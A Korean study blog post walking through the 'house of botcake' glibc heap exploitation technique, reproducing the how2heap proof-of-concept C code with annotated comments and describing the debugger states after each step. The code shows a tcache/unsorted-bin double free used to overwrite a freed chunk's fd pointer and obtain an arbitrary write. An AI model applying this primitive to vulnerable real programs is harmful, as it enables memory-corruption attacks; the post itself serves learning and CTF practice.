pwnable/heap

house of botcake

Ryuuu 2021. 2. 10. 18:15

how2heap에 있는 코드를 보자

static uint64_t victim = 0;
int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    char *x[7];
    for(int i=0; i<7; i++){
        x[i] = malloc(0x100);
    }                                //tcache 채워주기 위한 힙영역 생성
    
    char *a = malloc(0x100);         //unsorted bin에 넣을 힙영역(consolidation, double free용도)
    char *b = malloc(0x100);         //unsortedbin에 넣을 힙영역

    malloc(0x10);                    //top chunk와 병합이 되지 않게 하기 위해서 할당
    
    for(int i=0; i<7; i++){
        free(x[i]);                  //tcache 채워줌
    }   

    free(b);                         //unsortedbin = b
    free(a);                         //unsortedbin에 있는 b,a병합  unsortedbin chunk size = 220
    
    malloc(0x100);                   //tcache에서 포인터 하나 꺼냄
    free(b);                         //tcache에 b를 집어 넣음, unsortedbin = a + b
                                     //tcache = b 로 chunk 중복됨!!! 
                                     
    char* res = malloc(0x130);       //unsorted bin에서 chunk 꺼냄 return되는 주소 : a
                                     //쓸수 있는 바이트 : 130 ---> b를 덮을 수 있음(fd덮음)
    
    *(uint64_t*)(res+0x110) = (uint64_t)(&victim);    //b에 있는 fd를 덮음
                                                      //--> 이제 임의의 주소로 할당 가능

    malloc(0x100); // b 할당됨
    
    char *target = malloc(0x100);  //적어준 임의의 주소 할당!!!

    printf("Before attack, victim's value: 0x%lx\n", victim);
    *(uint64_t*)target = 0xdeadbeef;
    printf("After attack, victim's value: 0x%lx\n", victim);

    return 0;
}

 

디버깅을 해보자!

힙주소 7개를 free한 후의 상황이다. tcache_entry가 꽉 차있는 것을 볼 수 있다.

 

b,a를 free한 상황이다. unsorted bin에 병합되어 저장되는것을 확인할 수 있다.

 

malloc하여 tcache에서 chunk하나 꺼내고 b를 다시 free한 상태이다 unsortedbin과 tcache entry에 중복된 영역을 확인할 수 있다.

 

이제 unsortedbin을 할당해서 b의 fd를 덮은 후 두번 할당하면 덮은주소로 할당된다.